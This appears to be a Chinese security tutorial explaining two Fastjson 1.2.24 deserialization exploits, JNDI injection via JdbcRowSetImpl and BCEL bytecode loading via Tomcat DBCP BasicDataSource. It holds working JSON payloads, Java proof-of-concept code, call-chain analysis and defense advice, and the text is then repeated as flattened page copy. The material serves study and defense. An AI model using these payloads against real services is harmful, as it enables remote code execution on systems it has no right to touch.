Fastjson的两种常见利用方式
字数 1209 2025-08-10 23:41:50

Fastjson反序列化漏洞利用详解

1. Fastjson简介

Fastjson是阿里巴巴的开源JSON解析库,主要功能:

  • 解析JSON格式字符串
  • 支持将Java Bean序列化为JSON字符串
  • 支持从JSON字符串反序列化到JavaBean

漏洞点:在对JavaBean格式类的序列化与反序列化过程中存在方法执行风险,可构造恶意执行链。

2. 环境搭建

Maven依赖配置:

<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.24</version>
</dependency>
<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-dbcp</artifactId>
    <version>8.0.36</version>
</dependency>

3. 两种利用方式

3.1 可出网利用方式(JNDI注入)

利用com.sun.rowset.JdbcRowSetImpl类实现JNDI注入:

import com.alibaba.fastjson.JSON;

public class DemoTest {
    public static void main(String[] args) {
        JSON.parse("{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1389/lasthh\",\"autoCommit\":\"true\"}");
    }
}

漏洞分析

  1. 调用流程:

    • 先调用setDataSourceName()方法设置LDAP地址
    • 然后调用setAutoCommit()方法
    • this.conn为null时执行connect()方法
    • 最终触发lookup()方法,实现JNDI注入
  2. 关键点:

    • dataSourceName设置为恶意LDAP地址
    • autoCommit设置为任意布尔值触发connect()

限制条件

  • 目标需要能够出网
  • JDK版本不能太高(受JNDI注入限制)

3.2 不可出网利用方式(BCEL字节码加载)

利用org.apache.tomcat.dbcp.dbcp2.BasicDataSource类加载恶意BCEL字节码:

import com.alibaba.fastjson.JSON;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import org.apache.tomcat.dbcp.dbcp2.BasicDataSource;
import java.nio.file.Files;
import java.nio.file.Paths;

public class DemoTest1 {
    public static void main(String[] args) throws Exception {
        ClassLoader classLoader = new ClassLoader();
        byte[] bytes = Files.readAllBytes(Paths.get("E:\\JAVA\\fastjson\\target\\classes\\Exp1.class"));
        String code = Utility.encode(bytes, true);
        
        JSON.parseObject("{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\"driverClassName\":\"
$$
BCEL
$$
" + code + "\",\"driverClassLoader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}}");
    }
}

漏洞分析

  1. BCEL字节码加载原理:
    • com.sun.org.apache.bcel.internal.util.ClassLoader可以加载`

\[BCEL \]

`格式的字节码

  • 加载时会执行类的初始化代码块(static块)
  1. BasicDataSource利用链:

    • 通过driverClassName传入BCEL字节码
    • 通过driverClassLoader指定BCEL类加载器
    • 最终在createConnectionFactory()方法中触发:
      driverFromCCL = Class.forName(driverClassName, true, driverClassLoader);
      
    • true参数表示会执行static代码块
  2. 关键点:

    • 需要将恶意类编译后转换为BCEL格式
    • 需要Tomcat DBCP依赖

优势

  • 不需要目标出网
  • 适用范围更广(只要有Tomcat依赖)

4. 漏洞防御建议

  1. 升级Fastjson到最新安全版本
  2. 使用安全模式配置:
    ParserConfig.getGlobalInstance().setSafeMode(true);
    
  3. 对反序列化的类进行白名单限制
  4. 高版本JDK可限制JNDI相关操作

5. 总结对比

利用方式 依赖条件 出网要求 利用难度 适用范围
JdbcRowSetImpl 无特殊依赖 需要出网 简单 受JDK版本限制
BasicDataSource 需要Tomcat DBCP 不需出网 中等 较广泛

两种方式各有适用场景,实际利用时需根据目标环境选择合适的方式。

Fastjson反序列化漏洞利用详解 1. Fastjson简介 Fastjson是阿里巴巴的开源JSON解析库,主要功能: 解析JSON格式字符串 支持将Java Bean序列化为JSON字符串 支持从JSON字符串反序列化到JavaBean 漏洞点 :在对JavaBean格式类的序列化与反序列化过程中存在方法执行风险,可构造恶意执行链。 2. 环境搭建 Maven依赖配置: 3. 两种利用方式 3.1 可出网利用方式(JNDI注入) 利用 com.sun.rowset.JdbcRowSetImpl 类实现JNDI注入: 漏洞分析 调用流程: 先调用 setDataSourceName() 方法设置LDAP地址 然后调用 setAutoCommit() 方法 当 this.conn 为null时执行 connect() 方法 最终触发 lookup() 方法,实现JNDI注入 关键点: dataSourceName 设置为恶意LDAP地址 autoCommit 设置为任意布尔值触发 connect() 限制条件 目标需要能够出网 JDK版本不能太高(受JNDI注入限制) 3.2 不可出网利用方式(BCEL字节码加载) 利用 org.apache.tomcat.dbcp.dbcp2.BasicDataSource 类加载恶意BCEL字节码: 漏洞分析 BCEL字节码加载原理: com.sun.org.apache.bcel.internal.util.ClassLoader 可以加载 $$BCEL$$ 格式的字节码 加载时会执行类的初始化代码块(static块) BasicDataSource 利用链: 通过 driverClassName 传入BCEL字节码 通过 driverClassLoader 指定BCEL类加载器 最终在 createConnectionFactory() 方法中触发: true 参数表示会执行static代码块 关键点: 需要将恶意类编译后转换为BCEL格式 需要Tomcat DBCP依赖 优势 不需要目标出网 适用范围更广(只要有Tomcat依赖) 4. 漏洞防御建议 升级Fastjson到最新安全版本 使用安全模式配置: 对反序列化的类进行白名单限制 高版本JDK可限制JNDI相关操作 5. 总结对比 | 利用方式 | 依赖条件 | 出网要求 | 利用难度 | 适用范围 | |---------|---------|---------|---------|---------| | JdbcRowSetImpl | 无特殊依赖 | 需要出网 | 简单 | 受JDK版本限制 | | BasicDataSource | 需要Tomcat DBCP | 不需出网 | 中等 | 较广泛 | 两种方式各有适用场景,实际利用时需根据目标环境选择合适的方式。